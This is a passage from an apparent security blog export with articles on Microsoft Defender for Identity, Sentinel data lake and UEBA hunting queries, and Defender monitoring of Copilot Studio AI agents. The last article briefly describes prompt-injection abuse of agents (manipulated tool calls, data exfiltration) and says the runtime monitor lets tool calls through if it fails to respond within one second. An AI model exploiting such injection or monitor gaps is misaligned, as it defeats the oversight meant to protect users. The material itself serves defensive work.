Apply it before starting.\nCan I still configure Windows auditing manually?\nYes. Automatic auditing is a preview feature and optional. Manual GPO-based configuration continues to work with v3.x.\nWhat about AD FS or AD CS servers?\nFor standalone servers not running a DC role, continue with v2.x: v3.x does not apply there. For DCs that also run AD FS, AD CS, or Entra Connect roles, v3.x support is rolling out as of March 2026. Note that the migration wizard does not support these DCs. They require a fresh v3.x deployment: uninstall v2.x manually, then activate v3.x from the Activation page.\nThe RPC audit rule is applied, how do I verify it’s working? Check Settings \u0026gt; Identities \u0026gt; Health issues. If the tag is correctly applied and the sensor is running, the “Sensor v3.x RPC audit misconfigured” alert will not appear. Allow up to 1 hour after rule creation.\nReferences Install Microsoft Defender for Identity (classic v2.x guide), modernsecurity.nl\nDefender for Identity sensor v3.x prerequisites: Microsoft Learn\nActivate the Defender for Identity sensor v3.x: Microsoft Learn\nMigrate from sensor v2.x to sensor v3.x: Microsoft Learn\nConfigure Windows event collection: Microsoft Learn\nWhat’s new in Microsoft Defender for Identity: Microsoft Learn\nConclusion The Microsoft Defender for Identity sensor v3.x is a major improvement in how identity security is deployed and operated. By building on MDE infrastructure already present on your domain controllers, Microsoft has removed most of the friction that made MDI deployments time-consuming. No more installer packages, no gMSA accounts to manage, no manual audit GPOs, no Npcap to maintain.\nFor MSSP and enterprise teams managing MDI across multiple tenants, this simplification is significant. Activation is portal-based and takes minutes. Post-deployment configuration, RPC audit tagging and automatic Windows auditing, runs without touching Group Policy.\nIf you’re still running v2.x, the migration path is now stable and production-ready. Check the March 2026 cumulative update, confirm MDE is deployed and healthy on your DCs, and use the built-in migration wizard. Once migration completes, switch from gMSA to local system and apply the RPC audit tag. The v2.x sensor stays running until v3.x is ready, no maintenance window needed.\n","date":"2 April 2026","externalUrl":null,"permalink":"/microsoft-defender-for-identity-guide-v3-x/","section":"All articles","summary":"","title":"Microsoft Defender for Identity sensor guide (v3.x)","type":"posts"},{"content":"If you’ve read my Microsoft Sentinel data lake implementation guide, you know I covered a DCR-based workaround for storing Defender XDR Advanced Hunting data long-term without paying full analytics tier ingestion costs.\nThe approach: enable the XDR connector and use a Workspace Transformation DCR to redirect data from the original XDR table into that custom table. It worked: the analytics tier was skipped and data landed in the lake at a much lower cost.\nBut it was a workaround. You had to create and maintain custom tables, manually map schemas, and keep the transformation DCR in sync with any table changes. The XDR connector still needed to be active, and the whole setup was kind of fragile compared to a native solution.\nThis month Microsoft made that workaround obsolete 🙂\nLake-only ingestion for Defender XDR Advanced Hunting tables is now generally available. You can configure supported tables to stream directly into the Sentinel data lake from the Defender portal: no custom tables, no DCR, no schema mapping to maintain. The same outcome, natively supported.\nThis post covers what changed, which tables are supported, the key limitations to understand before switching, and a step-by-step configuration walkthrough the portal.\nThe problem with the old approaches Before this release, there were four ways to handle Defender XDR Advanced Hunting data in Sentinel:\nApproach How it worked Downside XDR default (30 days) Data stays native in Defender XDR No long-term retention Extend to 90 days in analytics tier Included free in XDR license, data ingested into Log Analytics Still limited to 90 days, goes through analytics tier Analytics tier via XDR connector Set retention \u0026gt; 30 days, data ingested into Log Analytics + mirrored to lake Full analytics ingestion cost DCR workaround (custom _CL table) Workspace Transformation DCR redirects XDR data to a custom lake-only table Analytics cost avoided, but complex: custom tables, schema mapping, DCR maintenance Lake-only ingestion (GA Feb 2026) Data streams directly from XDR to Sentinel data lake No analytics ingestion cost, no DCR, no custom tables What lake-only ingestion actually means When you configure a table for lake-only ingestion, a copy of the data is streamed directly from Defender XDR into the Sentinel data lake tier. The data never touches the analytics tier in your Log Analytics workspace.\nDefender XDR still retains the data in its own native tier for 30 days. Advanced Hunting in the Defender portal continues to work normally for that window. Custom detection rules and automated response rules are unaffected.\nWhat changes is what happens beyond 30 days: instead of the data disappearing or requiring an expensive analytics pipeline, a copy flows continuously into the data lake for up to 12 years. There are important limitations to understand before switching. See the limitations section below.\nSupported tables at GA Lake-only ingestion is supported for the following Defender XDR Advanced Hunting tables across three Defender workloads. Microsoft Defender for Identity (MDI) and (UEBA) behaviors support is not yet available but is on the roadmap.\nDefender for Endpoint (MDE)\nTable What it contains DeviceInfo Device inventory, OS details, domain membership, and sensor health per device DeviceNetworkInfo Network adapters, IP addresses, MAC addresses, and DNS configuration per device DeviceProcessEvents Process creation events including parent/child process relationships and command lines DeviceNetworkEvents Outbound and inbound network connections including remote IPs, ports, and protocols DeviceFileEvents File creation, modification, and deletion events across monitored endpoints DeviceRegistryEvents Registry key and value creation, modification, and deletion events DeviceLogonEvents Interactive and remote logon events including logon type and account details DeviceImageLoadEvents DLL and driver load events per process: high volume, rarely used for real-time detection DeviceEvents Broad category of additional endpoint events not covered by dedicated tables DeviceFileCertificateInfo Certificate information for signed files observed on endpoints Defender for Office 365 (MDO)\nTable What it contains EmailAttachmentInfo File attachments in emails including name, size, SHA256, and malware verdict EmailEvents Email delivery events including sender, recipient, subject, and delivery action EmailPostDeliveryEvents Actions taken on emails after delivery, such as manual remediation or ZAP EmailUrlInfo URLs found in emails and their associated threat verdicts UrlClickEvents User clicks on URLs in emails, Teams messages, and Office documents Defender for Cloud Apps (MDA)\nTable What it contains CloudAppEvents Activity events across connected SaaS applications including OAuth, file access, and admin actions Prerequisites Before configuring lake-only ingestion, the following must be in place:\nRequirement Details Sentinel data lake enabled Must be provisioned in your tenant. See my implementation guide if you haven’t set this up yet. Sentinel workspace connected to Defender portal The table management experience is only available in the unified Defender portal. Microsoft Sentinel contributor role or higher Required to modify table retention and tier settings. Defender portal only This configuration is not available in the Azure portal. How to configure lake-only ingestion (step by step) The entire configuration lives in the Defender portal under table management. No DCR creation, no Azure Monitor Agent, no connector deployment in the Azure portal.\nStep 1: Open table management\nIn the Defender portal, expand Microsoft Sentinel in the left navigation bar. Go to Configuration \u0026gt; Tables.\nStep 2: Find the table you want to configure\nUse the search bar to filter by table name, for example DeviceNetworkEvents. The overview shows the current tier, analytics retention, and total retention for all tables in your workspace.\nStep 3: Open data retention settings\nSelect the table to open the side panel, then click Data retention settings.\nStep 4: Select data lake tier\nIn the retention settings panel, select the Data lake tier option. You will notice that the analytics retention control is locked at 30 days. This is the included XDR license retention. Set the total retention period you want in the data lake (up to 12 years).\nStep 5: Save\nClick save. New data will start flowing directly into the data lake. Expect a delay of 90–120 minutes before data appears in the lake.\nNote: switching to data lake tier only applies to new incoming data. Existing data already in the analytics tier is not moved or back filled. If you previously had a table ingesting into the analytics tier and want to migrate, plan the transition window accordingly.\nHow to query data in lake-only tables Data in the data lake tier is not available through the regular Sentinel Logs blade or through Log Analytics workspace queries. You access it through the data lake exploration experience in the Defender portal.\nNavigate to Microsoft Sentinel \u0026gt; Data lake exploration \u0026gt; KQL queries and run your KQL query against the table name as normal. Full KQL capabilities are supported including join and union operators.\nFor scheduled or large-scale retrospective queries, use KQL jobs. These run against the full retention window in the lake and can promote results back into the analytics tier if needed for further investigation.\nLimitations to know before you switch This is the part that matters operationally. The lake-only tier is not a full replacement for the analytics tier.\nCapability Analytics tier Data lake tier Analytics rules ✅ ❌ Hunting queries (Sentinel) ✅ ❌ Workbooks ✅ ❌ Playbooks / automation ✅ ❌ Data export ✅ ❌ Real-time alerting ✅ ❌ KQL queries (data lake explorer) ✅ ✅ KQL jobs (scheduled) ✅ ✅ Jupyter notebooks ✅ ✅ Summary rules ✅ ✅ Search jobs ✅ ✅ Retention up to 12 years ✅ (with data lake mirroring) ✅ One important distinction: Defender XDR custom detection rules continue to work when you switch to lake-only, as they run against the native XDR tier in the Defender portal, not against Sentinel’s analytics tier.\nWhat stops working is the Sentinel side: analytics rules, hunting queries, workbooks, and playbooks that reference that table. If any of those are in use, switching to lake-only will break them silently: the table simply won’t have data in the analytics tier anymore.\nThe practical guidance: if you run active Sentinel analytics rules or Sentinel hunting queries referencing a specific XDR table, keep that table in the analytics tier. If a table is primarily used for investigation, forensics, or retrospective hunting, and detections only live on the Defender XDR side, lake-only is the right choice.\nGood candidates for lake-only: DeviceFileCertificateInfo, DeviceImageLoadEvents, DeviceNetworkInfo, EmailUrlInfo, UrlClickEvents.\nTables to evaluate carefully before switching: DeviceProcessEvents, DeviceNetworkEvents, DeviceLogonEvents. These are commonly used in custom Sentinel analytics rules.\nCost considerations The cost difference is significant for high-volume tables.\nWhen data goes through the analytics tier first, you pay the analytics ingestion rate for every GB. When data goes directly to the data lake tier, you pay the data lake ingestion rate ($0.05/GB in East US) plus storage, but avoid analytics tier ingestion costs entirely. There is also a data processing charge ($0.10/GB) for data ingested directly to lake tier. This does not apply to data mirrored from the analytics tier.\nFor tables like DeviceNetworkEvents or CloudAppEvents that generate significant daily volume, this difference is substantial. If you were previously not ingesting these tables at all due to cost, lake-only ingestion makes long-term retention financially realistic.\nNote: always verify current pricing in the Microsoft Sentinel pricing page as rates vary by region and are subject to change.\nMigrating from the DCR workaround If you followed the approach in my older post and are currently running the Workspace Transformation DCR workaround with custom _CL tables, here is how to migrate cleanly to the native solution.\nBefore you switch:\nVerify that no active Sentinel analytics rules or Sentinel hunting queries reference the custom _CL table you created. If they do, update them first to reference the new native table. Note your current retention setting on the custom table. You will want to match this when configuring the native lake-only retention. Accept that historical data in the custom _CL table stays there. Switching to native lake-only ingestion does not migrate or merge existing data. The two datasets will exist in parallel until the custom table’s retention expires. Steps to migrate:\nConfigure the original XDR table (e.g. DeviceProcessEvents) for lake-only ingestion using the steps in this post. Wait 90–120 minutes for data to start flowing into the native table in the data lake. Verify data is arriving in the data lake by running a KQL query in Microsoft Sentinel \u0026gt; Data lake exploration \u0026gt; KQL queries. Once confirmed, remove the Workspace Transformation DCR rule for that table, or update it to drop all rows to source | take 0 if other tables share the same DCR and you are not ready to remove it entirely. Optionally reduce the retention on the custom _CL table once the historical data is no longer needed. The main benefit beyond simplicity: the native table preserves the original schema exactly, including all columns. The DCR workaround required manual schema mapping and often dropped columns or required ongoing maintenance when Microsoft updated the source table structure.\nSources Microsoft Sentinel data lake overview: Microsoft Learn\nMicrosoft GA announcement: Tech Community, February 11, 2026\nManage data tiers and retention in Microsoft Sentinel: Microsoft Learn\nSummary Lake-only ingestion for Defender XDR Advanced Hunting tables removes the biggest practical barrier to long-term XDR data retention. You no longer need a DCR pipeline, you no longer pay analytics ingestion rates for data that’s primarily used for historical hunting, and you configure everything natively in the Defender portal in a few clicks.\nIf you have Sentinel data lake enabled, this is one of the first things worth reviewing. Go through the supported table list, identify which tables you don’t have active Sentinel analytics rules on, and switch those to lake-only. Start with the high-volume candidates and work from there.\nFor the full Sentinel data lake setup and background, check out my implementation guide.\n","date":"13 March 2026","externalUrl":null,"permalink":"/defender-xdr-advanced-hunting-data-lake/","section":"All articles","summary":"","title":"Defender XDR advanced hunting tables: ingest directly into Sentinel data lake","type":"posts"},{"content":"If you’ve been using live response in Microsoft Defender for Endpoint for a while, you’ve probably felt the friction. A critical incident comes in, you initiate a session, and then the race begins: digging through folders, shared drives, and old Teams chats trying to locate the right PowerShell script before the attacker moves laterally to the next system.\nIn DFIR scenarios where every minute counts, that lack of a centralized, ready-to-go script library is a real operational problem. You’re context-switching between the investigation and hunting for tools that should already be at your fingertips. That pain point is now addressed. Microsoft introduced library management for live response, which entered public preview in February 2026 and reached general availability in March 2026.\nIf you’re new to live response itself, I covered the foundations, including selective isolation and how it enables safe forensics during containment, in my earlier post: Selective Isolation in Defender for Endpoint – Combining tools like Velociraptor for DFIR. This post builds on that and focuses specifically on the new library management experience.\nWhat is live response library management? Library management is a dedicated section in the Microsoft Defender portal that provides a centralized, tenant-level repository for all scripts and files used during live response sessions. Before this feature existed, the only way to add a script to the library was from within an active session, not ideal during an escalating incident.\nThe problem it solves is a familiar one: scripts scattered across personal laptops, shared drives, and GitHub repos with no consistent versioning, no team-wide visibility, and no audit trail. Library management consolidates all of that into a single managed location inside Defender itself.\nPrerequisites and licensing Requirement Details MDE license Microsoft Defender for Endpoint Plan 1, Plan 2, or Microsoft Defender for Business Copilot analysis Requires a separate Microsoft Security Copilot license RBAC – basic live response Initiate sessions, download files, and perform read-only actions RBAC – advanced live response Upload files, run scripts, and perform advanced actions, required for modifying the library What you can do with it All operations are available outside of an active live response session, which is the key improvement over the previous experience:\nUpload PowerShell scripts, batch files, and other response utilities in advance View script contents directly in the Defender portal without switching to an external editor Download files back to your workstation when needed Delete outdated or redundant scripts in a single click Analyze scripts using Microsoft Security Copilot (license required) The Copilot analysis is worth highlighting. Select a script and choose Analyze, and Security Copilot generates a natural-language summary covering what the script does, the methods it uses, any network calls or privilege operations, and potential execution risks. This is especially useful when analysts are working with inherited toolsets. Without a Copilot license, you can still view script contents. You just won’t get the automated analysis.\nHow to set it up Navigate to the library management page via Settings → Endpoints → Library management in the Microsoft Defender portal. You can also reach it directly from within an active live response session.\nTo upload a script:\nSelect Upload from the top menu In the upload panel, select Upload file to library and choose your file Add a file description. This is the only documentation other analysts will see, so make it count If you’re replacing an existing script, check Overwrite file Optionally add a parameters description if the script accepts arguments Select Submit to complete the upload The file is immediately available to all authorized analysts across the tenant. There are no per-device or per-device-group restrictions at the library level.\nAudit logging All library management actions are tracked in the Microsoft Defender audit log: uploads, downloads, deletions, and file listings, each recorded with user context and a timestamp. To view these logs, go to Settings → Audit and filter using the following criteria:\nActivities – friendly names: Ran live response session Record types: MSDEResponseActions For managed service environments where multiple analysts share access to the same tenant library, this gives you full visibility into who changed what and when. What this means for SOC teams Library management shifts the mindset from reactive to prepared. Instead of scrambling mid-incident, teams can now pre-stage a standard toolkit before any alert fires, triage scripts, forensic collectors, persistence checkers, and keep it versioned through the description field. New analysts can explore the team’s standard toolset through the portal, with Copilot to explain anything unfamiliar.\nIn an MSP or MSSP context, this has immediate operational value. Inconsistent script collections across customer tenants are the norm when you’re managing 50+ environments. A centralized, auditable library per tenant brings consistency that previously required custom automation around the Live Response API.\nA word on security Live response runs in a privileged context on endpoints. A centralized script library increases the blast radius if an account is compromised or if scripts aren’t reviewed before upload. A few things worth enforcing: separate upload and execute permissions in RBAC so not every analyst who can run scripts can also add new ones, restrict live response on tier-0 assets unless a formal escalation process is in place, and don’t treat Copilot analysis as a security gate. It provides context, not sandboxing. Test scripts in a controlled environment before they land in a shared tenant library.\nResources Selective Isolation in Defender for Endpoint – modernsecurity.nl\nManage the live response file library in Microsoft Defender for Endpoint – Microsoft Learn\nLive response command examples – Microsoft Learn\nWhat’s new in Microsoft Defender for Endpoint – Microsoft Learn\nMonthly news – March 2026 (February updates) – Microsoft Tech Community\nSummary Library management for live response is one of those features that quietly makes a significant operational difference. It removes friction from incident response preparation, brings consistency across analyst teams, and adds an audit trail that managed service providers have needed for a while. The feature entered public preview in February 2026 and reached general availability in March 2026.\n","date":"20 February 2026","externalUrl":null,"permalink":"/live-response-library-in-microsoft-defender/","section":"All articles","summary":"","title":"Manage your live response library directly in Microsoft Defender","type":"posts"},{"content":"Every SOC analyst knows the feeling. An alert fires. You open the incident. And then the real work begins: correlating AWS CloudTrail API calls, translating firewall log schemas, joining tables across data sources you barely recognize, all to answer one question: what actually happened?\nMicrosoft’s new UEBA behaviors layer in Microsoft Sentinel changes that. Instead of forcing analysts to reconstruct the story from raw telemetry, it produces it for them: normalized, enriched, MITRE-mapped behavioral summaries that explain “who did what to whom” in plain language. It went generally available in early 2026, and if you’re running Sentinel with non-Microsoft data sources like AWS CloudTrail, Palo Alto, or GCP, this is something you should enable today.\nIn this post I’ll walk you through what the behaviors layer is, how it works under the hood, how to enable it, and what you can do with it: including practical KQL queries for investigation, threat hunting, and detection.\nWhat is the UEBA behaviors layer? Before this feature existed, Microsoft Sentinel’s UEBA already provided anomaly detection, flagging when a user deviated from their behavioral baseline. That’s valuable, but anomalies are event-level: a single unusual API call, a first-time login from a new location.\nThe behaviors layer sits in a different spot in the stack. Rather than flagging individual events, it aggregates and sequences related events across a time window into a single, structured behavior record. Think of it as the difference between:\n“User performed s3:GetObject 847 times between 14:00–15:00″\nversus raw CloudTrail telling you nothing without a KQL query to make sense of it.\nThere are two types of behaviors:\nAggregation behaviors: volume-based patterns. Example: “User accessed 50+ AWS resources in 1 hour.” Useful for spotting data exfiltration attempts or compromised accounts doing bulk operations. Sequencing behaviors: multi-step chains. Example: “Access key created → used from new IP → privileged API calls made.” These surface the kind of attack progressions that are invisible when you look at individual events. Every behavior record includes:\nA plain-language title and description MITRE ATT\u0026amp;CK tactic and technique mapping Entity roles (who was the actor, what was the target) References back to the raw log events that contributed to it Crucially, behaviors are not alerts. They don’t fire because something is malicious. They fire because a pattern was detected. That distinction matters: behaviors give you neutral, factual context that you then interpret in light of other signals.\nHow it’s built: generative AI under the hood The behaviors layer uses generative AI to create and scale the behavior logic. Microsoft uses AI to develop the detection patterns, map entities, perform MITRE mapping, and generate the natural-language explanations: all with quality guardrails to keep outputs consistent and auditable.\nThis is worth understanding because it explains the current scope: the initial release focuses on non-Microsoft data sources that traditionally lack easy behavioral context in Sentinel. Microsoft’s own data sources (Entra ID, Defender for Endpoint, etc.) already have rich signal: the gap has always been the third-party telemetry.\nSupported data sources At GA, the behaviors layer covers:\nData source Details CommonSecurityLog CyberArk Vault, Palo Alto Threats (vendor-specific: other vendors in CommonSecurityLog won’t generate behaviors) AWSCloudTrail EC2, IAM, S3, EKS, Secrets Manager and more GCPAuditLogs General GCP management activity Important: coverage is expanding over time, but you need to verify your specific vendor logs are supported before expecting results. If your CommonSecurityLog connector ingests data from unsupported vendors, the behaviors layer will simply not generate records for that data. It won’t error, it’ll just be silent.\nHow to enable the UEBA behaviors layer Prerequisites Microsoft Sentinel workspace onboarded to the Defender portal: the Azure portal path does not support the behaviors layer One or more supported data sources ingested into the Analytics tier (not Auxiliary or Summary Rules tier, behaviors only process Analytics-tier data) Currently supported for a single workspace per tenant, so choose the one with the most relevant ingestion Enabling the behaviors layer In the Defender portal, go to Settings → Microsoft Sentinel → SIEM workspaces Select your workspace Go to Entity behavior analytics → Configure UEBA Navigate to the Behaviors layer tab. This is separate from the main UEBA toggle Enable the feature and connect your supported data sources Note that data sources here are configured independently from regular UEBA. Even if you already have AWSCloudTrail enabled for UEBA anomalies, you need to explicitly enable it for the behaviors layer too.\nOnce enabled, two new tables appear in your Log Analytics workspace:\nSentinelBehaviorInfo: the behavior records (title, description, MITRE mapping, time window) SentinelBehaviorEntities: the entities involved in each behavior (account, device, IP, etc.) In Advanced Hunting, these tables appear without the “Sentinel” prefix, so BehaviorInfo and BehaviorEntities. If you already have Defender XDR behaviors enabled (e.g. from Defender for Cloud Apps), these queries will return results from both XDR and UEBA behaviors combined.\nQuerying behaviors: practical KQL Investigating an entity during an incident When you’re triaging an incident and want to understand what a specific account was doing:\nKQLlet targetAccount = \u0026#34;user@yourdomain.com\u0026#34;; let lookback = 24h; let behaviorIds = BehaviorEntities | where TimeGenerated \u0026gt; ago(lookback) | where AccountUpn == targetAccount | project BehaviorId; BehaviorInfo | where TimeGenerated \u0026gt; ago(lookback) | join kind=inner (behaviorIds) on BehaviorId | project TimeGenerated, Title, Description, AttackTechniques, Categories, BehaviorId | order by TimeGenerated desc This gives you a timeline of what that account did: at the behavior level, not the raw event level. Instead of reviewing hundreds of API calls, you see 3–5 meaningful summaries.\nThreat hunting across the MITRE ATT\u0026amp;CK chain Looking for entities that hit multiple tactics within a short window, a classic indicator of an active attack in progress:\nKQLlet lookback = 12h; let tacticFilter = dynamic([\u0026#34;Persistence\u0026#34;, \u0026#34;Discovery\u0026#34;, \u0026#34;PrivilegeEscalation\u0026#34;]); let behaviorInfo = BehaviorInfo | where TimeGenerated \u0026gt; ago(lookback) | where Categories has_any (tacticFilter) | project BehaviorId, Categories, Title, TimeGenerated; BehaviorEntities | where TimeGenerated \u0026gt; ago(lookback) | extend EntityName = coalesce(AccountUpn, DeviceName, CloudResourceId) | join kind=inner (behaviorInfo) on BehaviorId | summarize TacticsCovered = make_set(Categories), BehaviorTitles = make_set(Title), TotalBehaviors = count() by EntityName | where array_length(TacticsCovered) \u0026gt;= 2 | order by TotalBehaviors desc Entities showing up across multiple MITRE tactics in a 12-hour window are worth a closer look.\nFinding the rarest behaviors Rare behaviors are a natural hunting signal: if something only happened once or twice in your environment, it’s worth understanding why:\nKQLBehaviorInfo | where TimeGenerated \u0026gt; ago(7d) | summarize Occurrences = dcount(BehaviorId), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by Title, AttackTechniques | order by Occurrences asc | take 20 This gives you a ranked list of the rarest behavior types seen in the last 7 days, a good starting point for building analytics rules on top of behaviors rather than raw logs.\nFiltering by MITRE technique If you want to scope an investigation to a specific technique: say you’ve had a threat intel tip about T1552 (Unsecured Credentials):\nKQLlet targetTechniques = dynamic([\u0026#34;T1552\u0026#34;, \u0026#34;T1078\u0026#34;]); let behaviorInfoFiltered = BehaviorInfo | where TimeGenerated \u0026gt; ago(48h) | where AttackTechniques has_any (targetTechniques) | project BehaviorId, AttackTechniques, Title; BehaviorEntities | where TimeGenerated \u0026gt; ago(48h) | join kind=inner (behaviorInfoFiltered) on BehaviorId | project TimeGenerated, AccountUpn, CloudResourceId, Title, AttackTechniques | order by TimeGenerated desc The UEBA behaviors workbook Microsoft also released the UEBA behaviors workbook as part of the UEBA essentials solution in the Content Hub. It provides three pre-built tabs:\nOverview: high-level metrics, MITRE coverage heatmaps, behavior type distribution trends. Good for SOC managers and daily pulse-checks. Investigation: entity-centric timeline view, built for incident responders who need to drill into a specific user or resource. Hunting: anomaly detection overlaid with behaviors, designed for threat hunters doing proactive discovery. To deploy it: Microsoft Sentinel → Content Hub → search “UEBA essentials” → Save. The workbook is one of the content items in that solution alongside prebuilt hunting queries.\nWhat to watch out for Cost\nBehaviors are stored as Log Analytics records and billed at standard Sentinel ingestion rates. The volume depends entirely on how much raw telemetry you’re ingesting from the supported sources. Before enabling in production, check your current CloudTrail or GCPAuditLogs ingestion volume and estimate how many behavior records that might generate. High-volume sources like active AWS environments can add up quickly.\nSingle workspace limitation\nAt GA, this only works on one workspace per tenant. If you have a multi-workspace architecture, choose the workspace that ingests the most relevant non-Microsoft data.\nAnalytics tier requirement\nBehaviors only process data in the Analytics tier. If you’ve moved AWS or GCP logs to the Auxiliary tier for cost reasons, those logs won’t feed the behaviors layer.\nSupported vendors only\nCommonSecurityLog is a catch-all table. Just because you have a CEF connector sending data doesn’t mean behaviors will fire. Only CyberArk Vault and Palo Alto Threats are supported at this time for CommonSecurityLog.\nWhy this matters for MSSPs and MDR providers Running an MSSP or MDR service across a multi-tenant environment, the behaviors layer is particularly interesting because it abstracts away log schema complexity. Your analysts don’t need to memorize every AWS service API or Palo Alto log field: the behavior record gives them the story in plain language, with MITRE context already attached.\nFor detection engineering, it raises the abstraction level for rule authoring. Instead of writing analytics rules that join multiple raw tables and handle schema variations, you can build on top of BehaviorInfo as a normalized, enriched foundation. That means faster rule development and rules that are easier to explain to clients.\nResources Microsoft documentation\nTranslate raw security logs to behavioral insights using UEBA behaviors in Microsoft Sentinel Advanced threat detection with UEBA in Microsoft Sentinel Enable entity behavior analytics UEBA reference, tables and fields Tech Community blogs\nTurn complexity into clarity: introducing the new UEBA behaviors layer: GA announcement, January 2026 Accelerate your UEBA journey: introducing the Microsoft Sentinel behaviors workbook: February 2026 Video\nFinal thoughts The UEBA behaviors layer is one of those features that’s easy to overlook because it doesn’t announce itself with a dramatic alert. But it’s doing something genuinely useful: turning high-volume, low-context telemetry from non-Microsoft sources into security-grade intelligence that analysts can actually act on.\nIf you’re running Sentinel with AWS, GCP, or Palo Alto data, enable it, deploy the workbook, and start building hunting queries on top of it. The normalized behavioral layer is a better foundation for detection than raw logs, and the KQL you write against BehaviorInfo will be cleaner and more maintainable than anything you’d write directly against AWSCloudTrail.\nGot feedback or questions about how you’re using the UEBA behaviors layer in your environment? Leave a comment or reach out via the contact page.\n","date":"11 January 2026","externalUrl":null,"permalink":"/ueba-behaviors-layer-in-microsoft-sentinel/","section":"All articles","summary":"","title":"UEBA behaviors layer in Microsoft Sentinel: from raw logs to behavioral intelligence","type":"posts"},{"content":"","date":"20 December 2025","externalUrl":null,"permalink":"/microsoft-defender-for-cloud-apps/","section":"All topics","summary":"","title":"Microsoft Defender for Cloud Apps","type":"categories"},{"content":"Low-code platforms like Microsoft Copilot Studio make it easy for business users to build and deploy AI agents without going through IT or security. That’s useful, but it also means agents are getting created outside of any centralized review: with access to data, external systems, and tool calls that security teams often know nothing about.\nMicrosoft Defender for Cloud Apps AI agent monitoring was introduced as a preview feature to address exactly this. With real-time protection landing this month, the full stack is now available. This guide covers how it works and how to set it up.\nWhy Copilot Studio AI agents are a security risk Copilot Studio agents can call external APIs, process user input, and take actions, often with permissions that were set up quickly and never reviewed. Attackers can abuse this in a few ways:\nInjecting malicious prompts to manipulate what the agent does Triggering tool calls the agent wasn’t designed to make Exploiting connected data sources to escalate privileges or exfiltrate data The people building these agents are usually not security-aware, and there’s no enforcement gate before an agent goes live. Microsoft Defender for Cloud Apps AI agent monitoring is designed to fill that gap.\nWhat Microsoft Defender for Cloud Apps AI agent monitoring does Defender for Cloud Apps covers three things here:\nAI agent inventory\nDefender automatically discovers all Copilot Studio agents in your tenant and surfaces them in a central view. You can see what agents exist, who owns them, and what their security posture looks like, without requiring agent builders to do anything.\nAudit logging and threat detection\nOnce the inventory is enabled and the Microsoft 365 connector is active, Defender collects audit logs for all Copilot Studio agents and monitors them for suspicious activity. Detections come through as alerts in the XDR incidents and alerts experience.\nReal-time protection during runtime\nThis is what landed in December 2025. Defender inspects tool invocations before the agent executes them. If a prompt looks suspicious, the tool call is blocked, the user gets a notification, and an alert is created in the Defender portal. Active blocking, not detection after the fact.\nOne important caveat: if Defender doesn’t respond to a tool invocation check within one second, the agent proceeds and the tool call is allowed. This fail-open behavior is worth understanding if you’re relying on real-time protection as a hard control.\nPrerequisites Before enabling Defender for Cloud Apps AI agent monitoring, make sure you have:\nMicrosoft Defender for Cloud Apps license until the 1st of july 2026 (included in Microsoft 365 E5) \u0026gt; Note this has been changed and you need the Agent 365 / E7 license to use this feature Microsoft Defender preview features enabled for Defender for Cloud Apps, Defender for Cloud, and Microsoft Defender XDR Microsoft 365 app connector connected in Defender for Cloud Apps Access to your Power Platform administrator onboarding spans both the Defender portal and the Power Platform admin center Step 1: Enable the AI agent inventory This is the foundation. Without it, monitoring and real-time protection won’t work.\nSign in to the Microsoft Defender portal as a system administrator Go to System \u0026gt; Settings \u0026gt; Cloud Apps \u0026gt; Copilot Studio AI agents Toggle Copilot Studio AI agents on. This confirms you’ve accepted the terms Your Power Platform administrator then needs to complete the other side:\nGo to the Power Platform admin center Navigate to Security \u0026gt; Threat Protection Select Microsoft Defender – Copilot Studio AI agents Enable it When connected, a green status indicator appears in the AI agents inventory section in the Defender portal. Allow up to 30 minutes for the initial connection, and potentially longer for the full inventory to populate in larger environments.\nStep 2: Enable real-time protection during runtime This step involves three parties: you as the security admin, a Power Platform administrator, and an Entra admin (or someone with app registration permissions). The order matters.\nGet the webhook URL from the Defender portal In the Defender portal, go to System \u0026gt; Settings \u0026gt; Cloud Apps \u0026gt; Copilot Studio AI agents Check the Microsoft 365 app connector status: if it’s not connected, enable it first. Without it, real-time blocking still works, but alerts won’t appear in the Defender portal Copy the webhook URL (endpoint) shown in the real-time protection section. You’ll need this for the Entra app registration Register a Microsoft Entra application This step creates the secure, secretless authentication bridge between Copilot Studio and Defender. You need someone with app registration permissions in Entra.\nOption A: PowerShell (recommended):\nDownload the Create-CopilotWebhookApp.ps1 script and run it with the following parameters:\n.\\Create-CopilotWebhookApp.ps1 ` -TenantId \u0026#34;your-tenant-id\u0026#34; ` -Endpoint \u0026#34;https://endpoint-from-defender-portal\u0026#34; ` -DisplayName \u0026#34;Copilot Studio - Defender Real-time Protection\u0026#34; ` -FICName \u0026#34;DefenderFIC\u0026#34; The script outputs an App ID: copy it, you’ll need it in the next steps.\nOption B: manually via Azure portal:\nGo to Azure portal \u0026gt; Microsoft Entra ID \u0026gt; App registrations \u0026gt; New registration Give it a name, select Accounts in this organizational directory only, and register Copy the App ID Go to Certificates \u0026amp; secrets \u0026gt; Federated credentials \u0026gt; Add credential Select Other issuer as the scenario Set the issuer to: https://login.microsoftonline.com/{your-tenant-id}/v2.0 Set the subject using the following PowerShell to generate the base64-encoded values: PowerShell# Encode tenant ID $tenantId = [Guid]::Parse(\u0026#34;your-tenant-id\u0026#34;) $b64TenantId = [Convert]::ToBase64String($tenantId.ToByteArray()).Replace(\u0026#39;+\u0026#39;,\u0026#39;-\u0026#39;).Replace(\u0026#39;/\u0026#39;,\u0026#39;_\u0026#39;).TrimEnd(\u0026#39;=\u0026#39;) # Encode endpoint URL $endpoint = \u0026#34;https://endpoint-from-defender-portal\u0026#34; $b64Endpoint = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($endpoint)).Replace(\u0026#39;+\u0026#39;,\u0026#39;-\u0026#39;).Replace(\u0026#39;/\u0026#39;,\u0026#39;_\u0026#39;).TrimEnd(\u0026#39;=\u0026#39;) Write-Output \u0026#34;/eid1/c/pub/t/$b64TenantId/a/m1WPnYRZpEaQKq1Cceg--g/$b64Endpoint\u0026#34; Paste the output as the subject value and save the credential.\nConfigure threat detection in the Power Platform admin center Share the App ID and the webhook URL from the Defender portal with your Power Platform administrator. They need to complete the following:\nSign in to the Power Platform admin center Go to Security \u0026gt; Threat detection \u0026gt; Additional threat detection Select the environment and click Set up Enable Allow Copilot Studio to share data with a threat detection provider Enter the Azure Entra App ID and the endpoint link from the Defender portal Under Set error behavior, choose what happens if the threat detection system doesn’t respond in time: the default is Allow the agent to respond, but you can set it to Block the query for a stricter posture Click Save Register the App ID in the Defender portal Back in the Defender portal, go to System \u0026gt; Settings \u0026gt; Cloud Apps \u0026gt; Copilot Studio AI agents Enter the App ID in the designated field and click Save When everything is connected correctly, the real-time protection section shows a green connected status.\nIf you update the App ID 